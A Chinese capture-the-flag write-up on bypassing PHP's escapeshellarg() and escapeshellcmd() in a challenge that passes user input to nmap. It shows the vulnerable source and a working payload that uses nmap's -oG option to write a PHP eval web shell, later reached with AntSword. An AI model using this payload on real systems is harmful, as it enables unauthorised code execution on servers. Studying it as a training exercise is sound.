前言
知识点 首先得了解这几个函数以及nmap的作用以及用法 escapeshellarg() escapeshellcmd() @mkdir chdir nmap 放一篇讲的很好的关于escapeshellarg和escapeshellcmd函数的文章 谈谈escapeshellarg参数绕过和注入的问题 个人理解: escapeshellarg() 是将一段字符串改为能够在shell 命令里使用的参数 大概就是在一串字符如 hello world 的首尾加上’ 英文的单引号 变成'hello world' 如果字符串是这样的 hello ' world 就会在出现的 ’ 前面加一个 \ 并且为之前后添加 ’ 也就是说如果出现 ’ 就会变化为—> '\'' 最后字符串就变成了'hello '\'' world'
escapeshellcmd() 反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替 比如出现最简单的xss代码
<script>alert(1)</script>
就会被改写成/<script/>alert/(1/)/<//script/> 变得不再是xss了而且\的前后是不会加' 的
总是感觉做的每道题对于自己来说都是举步维艰 太难了然后反省自己真菜
打开环境
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
最上面那个if语句大概的意思是添加X-Forwarded-For头和值然后传给REMOTE_ADDR与后面的代码其实是没有多大的冲突可以跳过
传递的host值会经过escapeshellarg与escapeshellcmd检测但是我们只能硬着头皮来干这两个函数不然过不了关啊了难受。
看了大量WP与资料之后,要注意的就是nmap的使用其中一个就是可以用nmap来写文件 具体用法为 namp <?php phpinfo(); ?> -oG 1.php
然后有了这个用法之后我们就能从写入文件的方法来做题了 大致就是写入一句话然后蚁剑或者菜刀。
简单一句话<?php eval($GET_["cmd"]);?> 在经过escapeshellarg()函数之后就会变成'<?php eval($GET_["cmd"]);?>'
在经过escapeshellcmd()函数之后就会变成\'\<\?php eval\(\$GET_\["cmd"\]\)\;\?\>\'
但是由于环境在linux上面而且我们输入的系统函数中的\就会被解析为转义字符但转义字符后面未跟特殊的字符时相当于没有使用就可以省略最后应该还是变成
'<?php eval($GET_["cmd"]);?>'
此时我们就需要将前后两个单引号给闭合掉 所以最后的payload:?host=' <?php eval($_GET["cmd"]);?> -oG 1.php '
最后收尾用蚁剑连接 注意因为代码中有mkdir和chdir函数的缘故导致我们创建的一句话木马文件在它自动生成的md5目录之下也就是在这个目录下面 最后flag就在根目录下面了
总结
了解escapeshellarg()和escapeshellcmd()函数 nmap的一些基本命令 xdm一定要好好学习啊
|